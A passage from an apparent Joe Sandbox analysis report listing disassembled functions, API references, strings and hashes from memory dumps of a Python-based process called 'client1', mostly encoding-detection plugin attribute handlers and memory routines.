Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_beginTrash_condTrash_end
String ID:
API String ID: 227901110-0
Opcode ID: efcfea5e5d46490986a068cee5b321d13600a91a8803edc0f54b8972dad007c5
Instruction ID: 31fbdcc669285b1bd0fc5a9a29856576c8a7829adb8532806c5ba8256be85958
Opcode Fuzzy Hash: efcfea5e5d46490986a068cee5b321d13600a91a8803edc0f54b8972dad007c5
Instruction Fuzzy Hash: 9A21EEB2A0AB0241EB564F76E99833C67A0AF55FA8F258234CE3E466F4CF2DD445C340

Function 00007FF79F639264 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6392A7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F639694
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F639930

Strings

p, xrefs: 00007FF79F6393D1
p, xrefs: 00007FF79F639359
f, xrefs: 00007FF79F6393C9

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
Instruction ID: ed817100ff1da9d17aa66b1a47bd593b9df385f9632904351ed2d35c52c4c5df
Opcode Fuzzy Hash: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
Instruction Fuzzy Hash: 3C127261E0D3D346FB347A35D0542FAF6ABEB82754FC84035D6A9466C8DABCE5809F20

Function 00007FFBAA7311D0 Relevance: 10.8, APIs: 7, Instructions: 321COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA7318A0: PyMem_Malloc.PYTHON311 ref: 00007FFBAA73190B
Part of subcall function 00007FFBAA7318A0: PyType_IsSubtype.PYTHON311 ref: 00007FFBAA7319F5
Part of subcall function 00007FFBAA7318A0: PyType_IsSubtype.PYTHON311 ref: 00007FFBAA731A52

PyMem_Malloc.PYTHON311 ref: 00007FFBAA731252
PyMem_Free.PYTHON311 ref: 00007FFBAA73136E
PyErr_NoMemory.PYTHON311 ref: 00007FFBAA73387A
_Py_Dealloc.PYTHON311 ref: 00007FFBAA733889

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Mem_$MallocSubtypeType_$DeallocErr_FreeMemory
String ID:
API String ID: 4139299733-0
Opcode ID: b618ed634e65c7a0afdbbdfe658f43664214b0bdfe946ac4b4ba603eb4efd133
Instruction ID: 8bc8870396136592d181ce70e2d3912c53fca1c2290c43200ba294646bd46b20
Opcode Fuzzy Hash: b618ed634e65c7a0afdbbdfe658f43664214b0bdfe946ac4b4ba603eb4efd133
Instruction Fuzzy Hash: DED1ACF2B1E652C2EA32AF25D0445BA63A9FB45741F1611B1DE9E46680EF7CE843C730

Function 00007FFBAA6F87C0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

PyMem_Free.PYTHON311 ref: 00007FFBAA6F88EA
PyMem_Free.PYTHON311 ref: 00007FFBAA6F88FE
PyMem_Free.PYTHON311 ref: 00007FFBAA6F8911
PyMem_Free.PYTHON311 ref: 00007FFBAA6F8925

Strings

0, xrefs: 00007FFBAA6F8831
0, xrefs: 00007FFBAA6F882C

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: FreeMem_
String ID: 0$0
API String ID: 4096353137-203156872
Opcode ID: ae7bac968053191cdfd84e67d15d36ec98c0b24f7f8be2a30f601e8a182345f6
Instruction ID: 70e85293e3d24eb0261308d1375f1cf17e910af1987c85519bcdc1178820d9df
Opcode Fuzzy Hash: ae7bac968053191cdfd84e67d15d36ec98c0b24f7f8be2a30f601e8a182345f6
Instruction Fuzzy Hash: 9E61B2B2A19B81C5E7218F25E8402BE77A8FB85B84F041175EE8D13A99DF3CD546CB10

Function 00007FF79F627C30 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF79F627CC5
MultiByteToWideChar.KERNEL32 ref: 00007FF79F627D07

Strings

Out of memory., xrefs: 00007FF79F627D36
win32_utils_from_utf8, xrefs: 00007FF79F627D3D
Failed to decode wchar_t from UTF-8, xrefs: 00007FF79F627D2D
Failed to get wchar_t buffer size., xrefs: 00007FF79F627D46
MultiByteToWideChar, xrefs: 00007FF79F627D4D

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 626452242-876015163
Opcode ID: b7b82ea576924ca1617b662870f2c7e243fa9a5b0eddeb3ea6719f1292c4487d
Instruction ID: 55a2a91df314643ba3e8a6174a936a3bd340f2ea85152a7226c0593ebf60e84f
Opcode Fuzzy Hash: b7b82ea576924ca1617b662870f2c7e243fa9a5b0eddeb3ea6719f1292c4487d
Instruction Fuzzy Hash: 12416232A08B8286E630FF35A8405F9E7AAFB44790F945235DA6D87BA4DF3CD452C711

Function 00007FFBAB496AF0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB496B12

Strings

int, xrefs: 00007FFBAB496C00
'SuperWeirdWordPlugin' object attribute '_word_count' cannot be deleted, xrefs: 00007FFBAB496B7C
attribute '_word_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FFBAB496B08

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_word_count' cannot be deleted$attribute '_word_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-1212817586
Opcode ID: da3b90e79d9c96290f2944b119225136cbc2bb04bb772a1b2758723aee061d47
Instruction ID: 41297441cdaf41d8928f51821b8b08ccc5eb0791c6bef63273cb6025a92d6eb5
Opcode Fuzzy Hash: da3b90e79d9c96290f2944b119225136cbc2bb04bb772a1b2758723aee061d47
Instruction Fuzzy Hash: BD313EA1B1A50281FF46DB76E4D527D2390EF94B94F588135DE3D067B5EE2CE895C300

Function 00007FFBAB497DE0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB497E02

Strings

'ArchaicUpperLowerPlugin' object attribute '_successive_upper_lower_count' cannot be deleted, xrefs: 00007FFBAB497E6C
int, xrefs: 00007FFBAB497EF0
attribute '_successive_upper_lower_count' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FFBAB497DF8

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_successive_upper_lower_count' cannot be deleted$attribute '_successive_upper_lower_count' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-634379450
Opcode ID: 674400bdc108bf1514f6a8ffbf1c117d5f824281b072cbdb528c0c7ce480a579
Instruction ID: 73305e2859ed341779a286df7f04140dc7cec97775ef923a8bfb29b84da00601
Opcode Fuzzy Hash: 674400bdc108bf1514f6a8ffbf1c117d5f824281b072cbdb528c0c7ce480a579
Instruction Fuzzy Hash: F4316FA2F1A50291EE56DB36E4952BD2360EF84BA4F588231DE3D077B6DF2CD8958301

Function 00007FFBAB4953E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB495402

Strings

int, xrefs: 00007FFBAB4954F0
'TooManyAccentuatedPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FFBAB49546C
attribute '_character_count' of 'TooManyAccentuatedPlugin' undefined, xrefs: 00007FFBAB4953F8

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'TooManyAccentuatedPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'TooManyAccentuatedPlugin' undefined$int
API String ID: 1450464846-2022335554
Opcode ID: fdb480920a9c7451cec282b0e84ab22eb2604cbd690f3a3138818415a15115d6
Instruction ID: 8ecad50d3eb445d613da023ee3fa9e0c248c3d5162aeacc8783d5f24d690505d
Opcode Fuzzy Hash: fdb480920a9c7451cec282b0e84ab22eb2604cbd690f3a3138818415a15115d6
Instruction Fuzzy Hash: DF3141B1F1A60281EE96DB36E4963BD2360EF94B94F688135DE3D067F5DE2CD4958300

Function 00007FFBAB497F10 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB497F32

Strings

attribute '_successive_upper_lower_count_final' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FFBAB497F28
int, xrefs: 00007FFBAB498020
'ArchaicUpperLowerPlugin' object attribute '_successive_upper_lower_count_final' cannot be deleted, xrefs: 00007FFBAB497F9C

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_successive_upper_lower_count_final' cannot be deleted$attribute '_successive_upper_lower_count_final' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-528010561
Opcode ID: defae08e7b3a0dd3c431b0c8500a5d264029df500944186d54015f502eff64ef
Instruction ID: 2b68e55dfaf7f6f6058ef9397f7576d040c6c5d21385788982bbfa244274f3f8
Opcode Fuzzy Hash: defae08e7b3a0dd3c431b0c8500a5d264029df500944186d54015f502eff64ef
Instruction Fuzzy Hash: 0D316FB1B1A50282EE46DB3AE4952BD2790EF84B94F589131EE7D077F5DF2CD4858300

Function 00007FFBAB494C00 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB494C22

Strings

int, xrefs: 00007FFBAB494D10
'TooManySymbolOrPunctuationPlugin' object attribute '_punctuation_count' cannot be deleted, xrefs: 00007FFBAB494C8C
attribute '_punctuation_count' of 'TooManySymbolOrPunctuationPlugin' undefined, xrefs: 00007FFBAB494C18

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_punctuation_count' cannot be deleted$attribute '_punctuation_count' of 'TooManySymbolOrPunctuationPlugin' undefined$int
API String ID: 1450464846-1459665959
Opcode ID: 9e31c213de300c1c91f799274bfbd503a1e836ef80330a027f4a639cda506582
Instruction ID: ac28138c42f24396017c4f120add8e2f2507e6557bdc48855afdff1346105a07
Opcode Fuzzy Hash: 9e31c213de300c1c91f799274bfbd503a1e836ef80330a027f4a639cda506582
Instruction Fuzzy Hash: 1D318EA1B1A50285EE56DB3AE4952BD2390EF84B94F598231DE3D077F5DE2DD884C340

Function 00007FFBAB495EB0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB495ED2

Strings

int, xrefs: 00007FFBAB495FC0
attribute '_character_count' of 'SuspiciousDuplicateAccentPlugin' undefined, xrefs: 00007FFBAB495EC8
'SuspiciousDuplicateAccentPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FFBAB495F3C

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'SuspiciousDuplicateAccentPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'SuspiciousDuplicateAccentPlugin' undefined$int
API String ID: 1450464846-543361526
Opcode ID: 9bcf1ef78a725aaeeef43bd59b6ac542a859ae93bbca7b23511126d1c23ff142
Instruction ID: cb22b0b95ddb9f2726b534e5dda2d3f99839c8415a4a35417c9b157c5e60d87c
Opcode Fuzzy Hash: 9bcf1ef78a725aaeeef43bd59b6ac542a859ae93bbca7b23511126d1c23ff142
Instruction Fuzzy Hash: 483182B1F1AA0281EE56DB36E49527D23A0FF84BA4F588231DE7E467F5DE2CD4958300

Function 00007FFBAB497CB0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB497CD2

Strings

int, xrefs: 00007FFBAB497DC0
attribute '_character_count_since_last_sep' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FFBAB497CC8
'ArchaicUpperLowerPlugin' object attribute '_character_count_since_last_sep' cannot be deleted, xrefs: 00007FFBAB497D3C

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_character_count_since_last_sep' cannot be deleted$attribute '_character_count_since_last_sep' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-2037488444
Opcode ID: 5b1ffb8ff21230ac9e4d41d12f10005ed943449f8ea347bcad047da562003861
Instruction ID: 49ee3cebe86cb2bc57c84e49affb503e802db2b16165813fa343fd3780e4e041
Opcode Fuzzy Hash: 5b1ffb8ff21230ac9e4d41d12f10005ed943449f8ea347bcad047da562003861
Instruction Fuzzy Hash: C53160A1B1A50282EE56DB36E4952BD2760FF84B94F588231DE7E077F6DF2CD4948300

Function 00007FFBAB496FA0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB496FC2

Strings

int, xrefs: 00007FFBAB4970B0
'SuperWeirdWordPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FFBAB49702C
attribute '_character_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FFBAB496FB8

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-3920090044
Opcode ID: 716bc62510ac8dda9762ecc1e7d0d488a86fd9f5daba0dbbae311ce027f2b779
Instruction ID: 52687b18208ac15a343e3c7c9868982f0cb6b69c037f4c70fbbeeb3b0f5f4a3a
Opcode Fuzzy Hash: 716bc62510ac8dda9762ecc1e7d0d488a86fd9f5daba0dbbae311ce027f2b779
Instruction Fuzzy Hash: DB316FA1F1A50281FE46DB36E4D52BD2390EF84B94F589135DE7E067B6DF2DE8858300

Function 00007FFBAB4958D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB4958F2

Strings

int, xrefs: 00007FFBAB4959E0
'UnprintablePlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FFBAB49595C
attribute '_character_count' of 'UnprintablePlugin' undefined, xrefs: 00007FFBAB4958E8

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'UnprintablePlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'UnprintablePlugin' undefined$int
API String ID: 1450464846-2596148235
Opcode ID: 2d1020cd279b47584a275813fcdef8f797012f73d456c9dd67c63cf5583baef3
Instruction ID: d783a9449eb9a915126923f650c97703e0b0f354e29967fa3917933d66c84ef9
Opcode Fuzzy Hash: 2d1020cd279b47584a275813fcdef8f797012f73d456c9dd67c63cf5583baef3
Instruction Fuzzy Hash: 943160B1F1A60282EE56DB36E49527D23A0EF84BA4F588231DE7E067F5DE2CD4948300

Function 00007FFBAB494E60 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB494E82

Strings

int, xrefs: 00007FFBAB494F70
attribute '_character_count' of 'TooManySymbolOrPunctuationPlugin' undefined, xrefs: 00007FFBAB494E78
'TooManySymbolOrPunctuationPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FFBAB494EEC

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'TooManySymbolOrPunctuationPlugin' undefined$int
API String ID: 1450464846-4240200891
Opcode ID: 78741dcd6c4160e9c56fef5f28cb7a947163db393939fc1ad185ddcfec3d076a
Instruction ID: 66517c4ff7f8033c55eab588ab3178e01699dce60dce227c714f8b8553c49564
Opcode Fuzzy Hash: 78741dcd6c4160e9c56fef5f28cb7a947163db393939fc1ad185ddcfec3d076a
Instruction Fuzzy Hash: 69318FA1F1A50281EE66DB36E4952BD2360EF88BA4F488231DE3D077F5DE2CD884C340

Function 00007FFBAB495D80 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB495DA2

Strings

int, xrefs: 00007FFBAB495E90
attribute '_successive_count' of 'SuspiciousDuplicateAccentPlugin' undefined, xrefs: 00007FFBAB495D98
'SuspiciousDuplicateAccentPlugin' object attribute '_successive_count' cannot be deleted, xrefs: 00007FFBAB495E0C

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'SuspiciousDuplicateAccentPlugin' object attribute '_successive_count' cannot be deleted$attribute '_successive_count' of 'SuspiciousDuplicateAccentPlugin' undefined$int
API String ID: 1450464846-1864222365
Opcode ID: ede0fe6ae653843410b6476b536458421e0c0394d7e32887f4812a8ca2613d72
Instruction ID: c9334a92d1d7c7b436752dc0bf9dd7da6ff7e9ea27abb3cb5162c7db1f1eadd2
Opcode Fuzzy Hash: ede0fe6ae653843410b6476b536458421e0c0394d7e32887f4812a8ca2613d72
Instruction Fuzzy Hash: 563161B1F1A60291EE46DB36E4952BD2360FF94B94F688235DE3D467F5DE2DD8848300

Function 00007FFBAB494D30 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB494D52

Strings

int, xrefs: 00007FFBAB494E40
'TooManySymbolOrPunctuationPlugin' object attribute '_symbol_count' cannot be deleted, xrefs: 00007FFBAB494DBC
attribute '_symbol_count' of 'TooManySymbolOrPunctuationPlugin' undefined, xrefs: 00007FFBAB494D48

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
